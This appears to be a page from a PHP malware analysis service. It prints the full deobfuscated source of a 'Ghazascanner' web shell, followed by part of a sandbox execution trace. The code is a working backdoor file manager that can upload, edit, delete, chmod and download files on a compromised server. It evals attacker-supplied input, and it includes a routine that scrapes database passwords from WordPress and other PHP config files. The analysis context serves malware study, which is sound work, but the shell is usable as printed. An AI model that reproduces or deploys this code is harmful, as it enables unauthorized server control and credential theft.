PHP Malware Analysis

1.phtml, S491.php

md5: 0ec9cee4fc3fdcbf57a414a655509bce

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title


Deobfuscated PHP code

<?php

error_reporting(0);
set_time_limit(0);
extract(start());
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
$_POST['path'] = isset($_POST['path']) ? g22b_crypt($_POST['path'], 'de') : false;
$_POST['name'] = isset($_POST['name']) ? g22b_crypt($_POST['name'], 'de') : false;
if (isset($_GET['option']) && $_POST['opt'] == 'download') {
    header('Content-type: text/plain');
    header('Content-Disposition: attachment; filename="' . $_POST['name'] . '"');
    echo file_get_contents($_POST['path']);
    exit;
}
echo '<!DOCTYPE html>
<html>
<head>
    <title>Ghazascanner_2019runbot</title>
    <h1><font color=red>@Ghazascanner</font>_2019runbot</h1>
    <meta name="robots" content="noindex" />
    <style>
        body{
            font-family: "Racing Sans One", cursive;
            background-color: #e6e6e6;
            text-shadow:0px 0px 1px #757575;
            margin: 0;
        }
        #container{
            width: 700px;
            margin: 20px auto;
            border: 1px solid black;
        }
        #header{
            text-align: center;
            border-bottom: 1px dotted black;
        }
        #header h1{
            margin: 0;
        }
        
        #nav,#menu{
            padding-top: 5px;
            margin-left: 5px;
            padding-bottom: 5px;
            overflow: hidden;
            border-bottom: 1px dotted black;
        }
        #nav{
            margin-bottom: 10px;
        }
        
        #menu{
            text-align: center;
        }
        
        #content{
            margin: 0;
        }
        
        #content table{
            width: 700px;
            margin: 0px;
        }
        #content table .first{
            background-color: silver;
            text-align: center;
        }
        #content table .first:hover{
            background-color: silver;
            text-shadow:0px 0px 1px #757575;
        }
        #content table tr:hover{
            background-color: #636263;
            text-shadow:0px 0px 10px #fff;
        }
        
        #footer{
            margin-top: 10px;
            border-top: 1px dotted black;
        }
        #footer p{
            margin: 5px;
            text-align: center;
        }
        .filename,a{
            color: #000;
            text-decoration: none;
            cursor: pointer;
        }
        .filename:hover,a:hover{
            color: #fff;
            text-shadow:0px 0px 10px #ffffff;
        }
        .center{
            text-align: center;
        }
        input,select,textarea{
            border: 1px #000000 solid;
            -moz-border-radius: 5px;
            -webkit-border-radius:5px;
            border-radius:5px;
        }
    </style>
    <script>
function Encoder(name)
{
    var e =  document.getElementById(name);
    e.value = btoa(e.value);
    return true;
}
</script>
</head>
<body>
    
    <div id="container">
        <div id="header"><h1><a href="?">Ghazascanner File Manager</a></h1></div>
        <br>server :' . php_uname() . '<br>
        <div id="nav">
            <div class="path">Current Path : ' . nav_link() . '
            <form methdo="GET" onSubmit="Encoder(\'c\');"><font color=red>Path : </font><input type="text" id="c" size="40" name="path" value="' . $currentpath . '" /><input type="submit" value="Go" /></form></div><br />
            <div class="upload">
                <form enctype="multipart/form-data" method="POST" action="?path=' . $currentpathen . '&up">
                Upload File : <input type="file" name="file" />
                <input type="submit" value="upload" />
                </form>
            </div>
            <div class="new">
                <form method="POST" action="?path=' . $currentpathen . '&new" onSubmit="Encoder(\'kc\')">
                <span>New : </span><input name="name" type="text" size="10" id="kc" />
                File <input type="radio" name="type" value="file" checked/>
                Dir <input type="radio" name="type" value="dir" />
                <input type="submit" value="Create" />
                </form>
            </div>
        </div>
        <div id="content">';
if (isset($_GET['filesrc'])) {
    $file = g22b_crypt($_GET['filesrc'], 'de');
    echo '<div class="center">' . htmlspecialchars($file) . '</div><textarea cols="84" rows="25">' . filesrc($file) . '</textarea></pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete' || isset($_GET['new']) && $_POST['type'] == 'file') {
    echo '<div class="center">' . $_POST['name'] . '<br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            eval('$perm = ' . $_POST['perm'] . ';');
            if (chmod($_POST['path'], $perm)) {
                echo "<font color=\"green\">Change Permission Done.</font><br />";
                $permdone = true;
            } else {
                echo "<font color=\"red\">Change Permission Error.</font><br />";
            }
        }
        if ($permdone) {
            $perm = $_POST['perm'];
        } else {
            $perm = substr(sprintf('%o', fileperms($_POST['path'])), -4);
        }
        echo '<form method="POST">
                Permission : <input name="perm" type="text" size="4" value="' . $perm . '" />
                <input type="hidden" name="path" value="' . g22b_crypt($_POST['path'], 'en') . '">
                <input type="hidden" name="name" value="' . g22b_crypt($_POST['name'], 'en') . '">
                <input type="hidden" name="opt" value="chmod">
                <input type="submit" value="Go" />
                </form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $currentpath . '/' . $_POST['newname'])) {
                echo "<font color=\"green\">Change Name Done.</font><br />";
                $_POST['name'] = $_POST['newname'];
            } else {
                echo "<font color=\"red\">Change Name Error.</font><br />";
            }
        }
        echo '<form method="POST">
                New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
                <input type="hidden" name="path" value="' . g22b_crypt($_POST['path'], 'en') . '">
                <input type="hidden" name="name" value="' . g22b_crypt($_POST['name'], 'en') . '">
                <input type="hidden" name="opt" value="rename">
                <input type="submit" value="Go" />
                </form>';
    } elseif ($_POST['opt'] == 'edit' || isset($_GET['new'])) {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, base64_decode($_POST['src']))) {
                echo "<font color=\"green\">Edit File Done.</font><br />";
                $done = true;
            } else {
                echo "<font color=\"red\">Edit File Error.</font><br />";
            }
            fclose($fp);
        }
        if (isset($_GET['new']) && !$done) {
            $filecontent = '';
            $_POST['path'] = "{$currentpath}/{$_POST['name']}";
        } else {
            $filecontent = filesrc($_POST['path']);
        }
        echo '<form method="POST" onSubmit="Encoder(\'cc\')">
                <textarea cols="84" rows="25" name="src" id="cc">' . $filecontent . '</textarea><br />
                <input type="hidden" name="path" value="' . g22b_crypt($_POST['path'], 'en') . '">
                <input type="hidden" name="name" value="' . g22b_crypt($_POST['name'], 'en') . '">
                <input type="hidden" name="type" value="file" />
                <input type="hidden" name="opt" value="edit">
                <input type="submit" value="Go" />
                </form>';
    }
    echo "</div>";
} else {
    echo "<div class=\"center\">";
    if ($_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"green\">Delete Dir Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete Dir Error.</font><br />";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"green\">Delete File Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete File Error.</font><br />";
            }
        }
    } elseif ($_POST['type'] == 'dir' && isset($_GET['new'])) {
        if (mkdir("{$currentpath}/{$_POST['name']}")) {
            echo "<font color=\"green\">Create Dir Done.</font><br />";
        } else {
            echo "<font color=\"red\">Create Dir Error.</font><br />";
        }
    } elseif (isset($_FILES['file'])) {
        $userfile_name = $currentpath . '/' . $_FILES['file']['name'];
        $userfile_tmp = $_FILES['file']['tmp_name'];
        if (move_uploaded_file($userfile_tmp, $userfile_name)) {
            echo "<font color=\"green\">File Upload Done.</font><br />";
        } else {
            echo "<font color=\"red\">File Upload Error.</font><br />";
        }
    }
    echo "</div><table>\r\n                <tr class=\"first\">\r\n                    <td>Name</td>\r\n                    <td>Size</td>\r\n                    <td>Permissions</td>\r\n                    <td>Options</td>\r\n                </tr>";
    $dirs = getfiles('dir');
    foreach ($dirs as $dir) {
        echo '<div id="dirs"><tr>
        <td><a href="?path=' . $dir['link'] . '"><div class="filename">' . $dir['name'] . '</div></a></td>
        <td class="center">' . $dir['size'] . '</td>
        <td class="center"><font color="' . $dir['permcolor'] . '">' . $dir['perm'] . '</font></td>
        <td class="center"><form method="POST" action="?path=' . $currentpathen . '&option">
        <select name="opt">
        <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
        <option value="rename">Rename</option>
        </select>
        <input type="hidden" name="type" value="dir">
        <input type="hidden" name="name" value="' . g22b_crypt($dir['name'], 'en') . '">
        <input type="hidden" name="path" value="' . $dir['link'] . '">
        <input type="submit" value=">" />
        </form></td>
        </tr>
        </div>';
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    $files = getfiles('file');
    foreach ($files as $file) {
        echo '<div id="files">
        
        <tr>
        <td><a href="?path=' . $currentpathen . '&filesrc=' . $file['link'] . '"><div class="filename">' . $file['name'] . '</div></a></td>
        <td class="center">' . $file['size'] . '</td>
        <td class="center"><font color="' . $file['permcolor'] . '">' . $file['perm'] . '</font></td>
        <td class="center"><form method="POST" action="?path=' . $currentpathen . '&option">
        <select name="opt">
        <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
        <option value="rename">Rename</option>
        <option value="edit">Edit</option>
        <option value="download">Download</option>
        </select>
        <input type="hidden" name="type" value="file">
        <input type="hidden" name="name" value="' . g22b_crypt($file['name'], 'en') . '">
        <input type="hidden" name="path" value="' . $file['link'] . '">
        <input type="submit" value=">" />
        </form></td>
        </tr></div>';
    }
    echo "</table></div></div><font color=red>@Ghazascanner</font>_2019minishell";
}
echo "\r\n</body>\r\n</html>";
function getfiles($type)
{
    global $currentpath;
    $dir = scandir($currentpath);
    $result = array();
    foreach ($dir as $file) {
        $current['fullname'] = "{$currentpath}/{$file}";
        if ($type == 'dir') {
            if (!is_dir($current['fullname']) || $file == '.' || $file == '..') {
                continue;
            }
        } elseif ($type == 'file') {
            if (!is_file($current['fullname'])) {
                continue;
            }
        }
        $current['name'] = $file;
        $current['link'] = g22b_crypt($current['fullname'], 'en');
        $current['size'] = is_dir($current['fullname']) ? '--' : file_size($current['fullname']);
        $current['perm'] = perms($current['fullname']);
        if (is_writable($current['fullname'])) {
            $current['permcolor'] = 'green';
        } elseif (is_readable($current['fullname'])) {
            $current['permcolor'] = '';
        } else {
            $current['permcolor'] = 'red';
        }
        $result[] = $current;
    }
    return $result;
}
function start()
{
    global $_POST, $_GET;
    $result['currentpath'] = isset($_GET['path']) ? g22b_crypt($_GET['path'], 'de') : cwd();
    $result['currentpathen'] = isset($_GET['path']) ? $_GET['path'] : g22b_crypt(cwd(), 'en');
    return $result;
}
function file_size($file)
{
    $size = filesize($file) / 1024;
    $size = round($size, 3);
    if ($size >= 1024) {
        $size = round($size / 1024, 2) . ' MB';
    } else {
        $size .= ' KB';
    }
    return $size;
}
function g22b_crypt($txt, $type)
{
    if (function_exists('base64_encode') && function_exists('base64_decode')) {
        return $type == 'en' ? base64_encode($txt) : base64_decode($txt);
    } elseif (function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')) {
        return $type == 'en' ? strToHex($txt) : hexToStr($txt);
    } else {
        $ar1 = array('public_html', '.htaccess', '/', '.');
        $ar2 = array('bbbpubghostbbb', 'bbbhtaghostbbb', 'bbbsghostbbb', 'bbbdotghostbbb');
        return $type == 'en' ? str_replace($ar1, $ar2, $txt) : str_replace($ar2, $ar1, $txt);
    }
}
function strToHex($string)
{
    $hex = '';
    for ($i = 0; $i < strlen($string); $i++) {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
function hexToStr($hex)
{
    $string = '';
    for ($i = 0; $i < strlen($hex) - 1; $i += 2) {
        $string .= chr(hexdec($hex[$i] . $hex[$i + 1]));
    }
    return $string;
}
function nav_link()
{
    global $currentpath;
    $path = $currentpath;
    $path = str_replace('\\', '/', $path);
    $paths = explode('/', $path);
    $result = '';
    foreach ($paths as $id => $pat) {
        if ($pat == '' && $id == 0) {
            $a = true;
            $result .= '<a href="?path=' . g22b_crypt("/", 'en') . '">/</a>';
            continue;
        }
        if ($pat == '') {
            continue;
        }
        $result .= '<a href="?path=';
        $linkpath = '';
        for ($i = 0; $i <= $id; $i++) {
            $linkpath .= "{$paths[$i]}";
            if ($i != $id) {
                $linkpath .= "/";
            }
        }
        $result .= g22b_crypt($linkpath, 'en');
        $result .= '">' . $pat . '</a>/';
    }
    return $result;
}
function filesrc($file)
{
    return htmlspecialchars(file_get_contents($file));
}
function cwd()
{
    if (function_exists('getcwd')) {
        return getcwd();
    } else {
        $e = str_replace("\\", "/", $path);
        $e = explode('/', $path);
        $result = '';
        for ($i = 0; $i < count($e) - 1; $i++) {
            if ($e[$i] == '') {
                continue;
            }
            $result .= '/' . $e[$i];
        }
        return $result;
    }
}
function passwdtouser($line)
{
    $user = explode(':', $line);
    return $user[0];
}
function ex($a, $b, $text)
{
    $explode = explode($a, $text);
    $explode = explode($b, $explode[1]);
    return trim($explode[0]);
}
function get_data($url)
{
    $ar = array('1.txt', '2.txt', '3.txt', '4.txt', '5.txt', '6.txt', '7.txt', '8.txt', '9.txt', '0.txt');
    $src = file_get_contents($url);
    $files = explode('<a href="', $src);
    $data = array();
    foreach ($files as $id => $file) {
        if ($id == 0) {
            continue;
        }
        $file = explode('">', $file);
        $file = trim($file[0]);
        if (!eregi('.txt', $file)) {
            continue;
        }
        $src = file_get_contents("{$url}/{$file}");
        if (!$src) {
            continue;
        }
        $user = str_replace($ar, '', $file);
        $user = str_replace($ar, '', $user . '.txt');
        $user = str_replace($ar, '', $user . '.txt');
        $user = trim(str_replace('.txt', '', $user));
        if (eregi("WordPress", $src)) {
            $pass = ex("define('DB_PASSWORD', '", "');", $src);
            $data[] = array($user, $pass);
        } else {
            $tokens = token_get_all($src);
            foreach ($tokens as $token) {
                if (!$token[1]) {
                    continue;
                }
                $tokenname = token_name($token[0]);
                if ($tokenname != 'T_VARIABLE') {
                    continue;
                }
                $var = $token[1];
                if (eregi('pass', $var)) {
                    $f = str_replace(' ', '', ex($var, ';', $src));
                    $a = trim(ex("='", "'", $f));
                    $b = trim(ex('"', '"', $f));
                    if ($a != '') {
                        $pass = $a;
                    } elseif ($b != '') {
                        $pass = $b;
                    }
                    if ($pass == '') {
                        continue;
                    }
                    $data[] = array($user, $pass);
                }
            }
        }
    }
    return $data;
}
function perms($file)
{
    $perms = @fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}

Execution traces

data/traces/0ec9cee4fc3fdcbf57a414a655509bce_trace-1676249488.109.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:51:54.006851]
1	0	1	0.000133	393512
1	3	0	0.000662	504240	{main}	1		/var/www/html/uploads/S491.php	0	0
2	4	0	0.000679	504240	error_reporting	0		/var/www/html/uploads/S491.php	4	1	0
2	4	1	0.000695	504280
2	4	R			22527
2	5	0	0.000709	504240	set_time_limit	0		/var/www/html/uploads/S491.php	5	1	0
2	5	1	0.000724	504304
2	5	R			FALSE
2	6	0	0.000739	504272	start	1		/var/www/html/uploads/S491.php	6	0
2		A						/var/www/html/uploads/S491.php	344	_POST =& 
2		A						/var/www/html/uploads/S491.php	344	_GET =& 
3	7	0	0.000776	504296	cwd	1		/var/www/html/uploads/S491.php	346	0
4	8	0	0.000787	504296	function_exists	0		/var/www/html/uploads/S491.php	416	1	'getcwd'
4	8	1	0.000802	504336
4	8	R			TRUE
4	9	0	0.000815	504296	getcwd	0		/var/www/html/uploads/S491.php	417	0
4	9	1	0.000828	504344
4	9	R			'/var/www/html/uploads'
3	7	1	0.000843	504344
3	7	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/S491.php	346	$result['currentpath'] = '/var/www/html/uploads'
3	10	0	0.000872	504720	cwd	1		/var/www/html/uploads/S491.php	347	0
4	11	0	0.000884	504720	function_exists	0		/var/www/html/uploads/S491.php	416	1	'getcwd'
4	11	1	0.000897	504760
4	11	R			TRUE
4	12	0	0.000910	504720	getcwd	0		/var/www/html/uploads/S491.php	417	0
4	12	1	0.000922	504768
4	12	R			'/var/www/html/uploads'
3	10	1	0.000937	504768
3	10	R			'/var/www/html/uploads'
3	13	0	0.000951	504768	g22b_crypt	1		/var/www/html/uploads/S491.php	347	2	'/var/www/html/uploads'	'en'
4	14	0	0.000965	504768	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
4	14	1	0.000979	504808
4	14	R			TRUE
4	15	0	0.000995	504768	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
4	15	1	0.001058	504808
4	15	R			TRUE
4	16	0	0.001073	504768	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'/var/www/html/uploads'
4	16	1	0.001087	504864
4	16	R			'L3Zhci93d3cvaHRtbC91cGxvYWRz'
3	13	1	0.001103	504832
3	13	R			'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2		A						/var/www/html/uploads/S491.php	347	$result['currentpathen'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2	6	1	0.001133	504784
2	6	R			['currentpath' => '/var/www/html/uploads', 'currentpathen' => 'L3Zhci93d3cvaHRtbC91cGxvYWRz']
2	17	0	0.001153	504784	extract	0		/var/www/html/uploads/S491.php	6	1	['currentpath' => '/var/www/html/uploads', 'currentpathen' => 'L3Zhci93d3cvaHRtbC91cGxvYWRz']
2	17	1	0.001171	504816
2	17	R			2
2	18	0	0.001184	504408	get_magic_quotes_gpc	0		/var/www/html/uploads/S491.php	7	0
2	18	1	0.001196	504408
2	18	R			FALSE
1		A						/var/www/html/uploads/S491.php	12	_POST['path'] = FALSE
1		A						/var/www/html/uploads/S491.php	13	_POST['name'] = FALSE
2	19	0	0.001234	504760	php_uname	0		/var/www/html/uploads/S491.php	122	0
2	19	1	0.001249	504872
2	19	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	20	0	0.001268	507832	nav_link	1		/var/www/html/uploads/S491.php	124	0
2		A						/var/www/html/uploads/S491.php	390	$path = '/var/www/html/uploads'
3	21	0	0.001291	507856	str_replace	0		/var/www/html/uploads/S491.php	391	3	'\\'	'/'	'/var/www/html/uploads'
3	21	1	0.001306	507952
3	21	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/S491.php	391	$path = '/var/www/html/uploads'
3	22	0	0.001332	507856	explode	0		/var/www/html/uploads/S491.php	392	2	'/'	'/var/www/html/uploads'
3	22	1	0.001345	508432
3	22	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2		A						/var/www/html/uploads/S491.php	392	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2		A						/var/www/html/uploads/S491.php	393	$result = ''
2		A						/var/www/html/uploads/S491.php	394	$id = 0
2		A						/var/www/html/uploads/S491.php	396	$a = TRUE
3	23	0	0.001409	508360	g22b_crypt	1		/var/www/html/uploads/S491.php	397	2	'/'	'en'
4	24	0	0.001423	508360	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
4	24	1	0.001436	508400
4	24	R			TRUE
4	25	0	0.001449	508360	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
4	25	1	0.001468	508400
4	25	R			TRUE
4	26	0	0.001482	508360	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'/'
4	26	1	0.001494	508432
4	26	R			'Lw=='
3	23	1	0.001508	508400
3	23	R			'Lw=='
2		A						/var/www/html/uploads/S491.php	397	$result .= '<a href="?path=Lw==">/</a>'
2		A						/var/www/html/uploads/S491.php	394	$id = 1
2		A						/var/www/html/uploads/S491.php	401	$result .= '<a href="?path='
2		A						/var/www/html/uploads/S491.php	402	$linkpath = ''
2		A						/var/www/html/uploads/S491.php	403	$i = 0
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= ''
2		A						/var/www/html/uploads/S491.php	405	$linkpath .= '/'
2		A						/var/www/html/uploads/S491.php	403	$i++
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= 'var'
2		A						/var/www/html/uploads/S491.php	403	$i++
3	27	0	0.001624	508472	g22b_crypt	1		/var/www/html/uploads/S491.php	407	2	'/var'	'en'
4	28	0	0.001638	508472	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
4	28	1	0.001651	508512
4	28	R			TRUE
4	29	0	0.001664	508472	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
4	29	1	0.001677	508512
4	29	R			TRUE
4	30	0	0.001690	508472	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'/var'
4	30	1	0.001702	508544
4	30	R			'L3Zhcg=='
3	27	1	0.001716	508512
3	27	R			'L3Zhcg=='
2		A						/var/www/html/uploads/S491.php	407	$result .= 'L3Zhcg=='
2		A						/var/www/html/uploads/S491.php	408	$result .= '">var</a>/'
2		A						/var/www/html/uploads/S491.php	394	$id = 2
2		A						/var/www/html/uploads/S491.php	401	$result .= '<a href="?path='
2		A						/var/www/html/uploads/S491.php	402	$linkpath = ''
2		A						/var/www/html/uploads/S491.php	403	$i = 0
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= ''
2		A						/var/www/html/uploads/S491.php	405	$linkpath .= '/'
2		A						/var/www/html/uploads/S491.php	403	$i++
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= 'var'
2		A						/var/www/html/uploads/S491.php	405	$linkpath .= '/'
2		A						/var/www/html/uploads/S491.php	403	$i++
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= 'www'
2		A						/var/www/html/uploads/S491.php	403	$i++
3	31	0	0.001864	508512	g22b_crypt	1		/var/www/html/uploads/S491.php	407	2	'/var/www'	'en'
4	32	0	0.001878	508512	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
4	32	1	0.001891	508552
4	32	R			TRUE
4	33	0	0.001903	508512	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
4	33	1	0.001916	508552
4	33	R			TRUE
4	34	0	0.001929	508512	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'/var/www'
4	34	1	0.001942	508592
4	34	R			'L3Zhci93d3c='
3	31	1	0.001957	508560
3	31	R			'L3Zhci93d3c='
2		A						/var/www/html/uploads/S491.php	407	$result .= 'L3Zhci93d3c='
2		A						/var/www/html/uploads/S491.php	408	$result .= '">www</a>/'
2		A						/var/www/html/uploads/S491.php	394	$id = 3
2		A						/var/www/html/uploads/S491.php	401	$result .= '<a href="?path='
2		A						/var/www/html/uploads/S491.php	402	$linkpath = ''
2		A						/var/www/html/uploads/S491.php	403	$i = 0
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= ''
2		A						/var/www/html/uploads/S491.php	405	$linkpath .= '/'
2		A						/var/www/html/uploads/S491.php	403	$i++
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= 'var'
2		A						/var/www/html/uploads/S491.php	405	$linkpath .= '/'
2		A						/var/www/html/uploads/S491.php	403	$i++
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= 'www'
2		A						/var/www/html/uploads/S491.php	405	$linkpath .= '/'
2		A						/var/www/html/uploads/S491.php	403	$i++
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= 'html'
2		A						/var/www/html/uploads/S491.php	403	$i++
3	35	0	0.002128	508560	g22b_crypt	1		/var/www/html/uploads/S491.php	407	2	'/var/www/html'	'en'
4	36	0	0.002146	508560	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
4	36	1	0.002159	508600
4	36	R			TRUE
4	37	0	0.002173	508560	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
4	37	1	0.002186	508600
4	37	R			TRUE
4	38	0	0.002199	508560	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'/var/www/html'
4	38	1	0.002212	508648
4	38	R			'L3Zhci93d3cvaHRtbA=='
3	35	1	0.002227	508616
3	35	R			'L3Zhci93d3cvaHRtbA=='
2		A						/var/www/html/uploads/S491.php	407	$result .= 'L3Zhci93d3cvaHRtbA=='
2		A						/var/www/html/uploads/S491.php	408	$result .= '">html</a>/'
2		A						/var/www/html/uploads/S491.php	394	$id = 4
2		A						/var/www/html/uploads/S491.php	401	$result .= '<a href="?path='
2		A						/var/www/html/uploads/S491.php	402	$linkpath = ''
2		A						/var/www/html/uploads/S491.php	403	$i = 0
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= ''
2		A						/var/www/html/uploads/S491.php	405	$linkpath .= '/'
2		A						/var/www/html/uploads/S491.php	403	$i++
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= 'var'
2		A						/var/www/html/uploads/S491.php	405	$linkpath .= '/'
2		A						/var/www/html/uploads/S491.php	403	$i++
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= 'www'
2		A						/var/www/html/uploads/S491.php	405	$linkpath .= '/'
2		A						/var/www/html/uploads/S491.php	403	$i++
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= 'html'
2		A						/var/www/html/uploads/S491.php	405	$linkpath .= '/'
2		A						/var/www/html/uploads/S491.php	403	$i++
2		A						/var/www/html/uploads/S491.php	404	$linkpath .= 'uploads'
2		A						/var/www/html/uploads/S491.php	403	$i++
3	39	0	0.002421	508600	g22b_crypt	1		/var/www/html/uploads/S491.php	407	2	'/var/www/html/uploads'	'en'
4	40	0	0.002434	508600	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
4	40	1	0.002448	508640
4	40	R			TRUE
4	41	0	0.002461	508600	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
4	41	1	0.002474	508640
4	41	R			TRUE
4	42	0	0.002487	508600	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'/var/www/html/uploads'
4	42	1	0.002500	508696
4	42	R			'L3Zhci93d3cvaHRtbC91cGxvYWRz'
3	39	1	0.002516	508664
3	39	R			'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2		A						/var/www/html/uploads/S491.php	407	$result .= 'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2		A						/var/www/html/uploads/S491.php	408	$result .= '">uploads</a>/'
2	20	1	0.002555	508080
2	20	R			'<a href="?path=Lw==">/</a><a href="?path=L3Zhcg==">var</a>/<a href="?path=L3Zhci93d3c=">www</a>/<a href="?path=L3Zhci93d3cvaHRtbA==">html</a>/<a href="?path=L3Zhci93d3cvaHRtbC91cGxvYWRz">uploads</a>/'
2	43	0	0.002586	504896	getfiles	1		/var/www/html/uploads/S491.php	260	1	'dir'
3	44	0	0.002600	504896	scandir	0		/var/www/html/uploads/S491.php	316	1	'/var/www/html/uploads'
3	44	1	0.002630	505520
3	44	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'S491.php', 4 => 'data', 5 => 'prepend.php']
2		A						/var/www/html/uploads/S491.php	316	$dir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'S491.php', 4 => 'data', 5 => 'prepend.php']
2		A						/var/www/html/uploads/S491.php	317	$result = []
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/.'
3	45	0	0.002691	505912	is_dir	0		/var/www/html/uploads/S491.php	321	1	'/var/www/html/uploads/.'
3	45	1	0.002707	505976
3	45	R			TRUE
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/..'
3	46	0	0.002732	505944	is_dir	0		/var/www/html/uploads/S491.php	321	1	'/var/www/html/uploads/..'
3	46	1	0.002745	505992
3	46	R			TRUE
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/.htaccess'
3	47	0	0.002771	505952	is_dir	0		/var/www/html/uploads/S491.php	321	1	'/var/www/html/uploads/.htaccess'
3	47	1	0.002786	505992
3	47	R			FALSE
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/S491.php'
3	48	0	0.002811	505952	is_dir	0		/var/www/html/uploads/S491.php	321	1	'/var/www/html/uploads/S491.php'
3	48	1	0.002824	505992
3	48	R			FALSE
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/data'
3	49	0	0.002849	505952	is_dir	0		/var/www/html/uploads/S491.php	321	1	'/var/www/html/uploads/data'
3	49	1	0.002866	505992
3	49	R			TRUE
2		A						/var/www/html/uploads/S491.php	326	$current['name'] = 'data'
3	50	0	0.002892	505952	g22b_crypt	1		/var/www/html/uploads/S491.php	327	2	'/var/www/html/uploads/data'	'en'
4	51	0	0.002905	505952	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
4	51	1	0.002919	505992
4	51	R			TRUE
4	52	0	0.002931	505952	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
4	52	1	0.002944	505992
4	52	R			TRUE
4	53	0	0.002956	505952	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'/var/www/html/uploads/data'
4	53	1	0.002969	506064
4	53	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
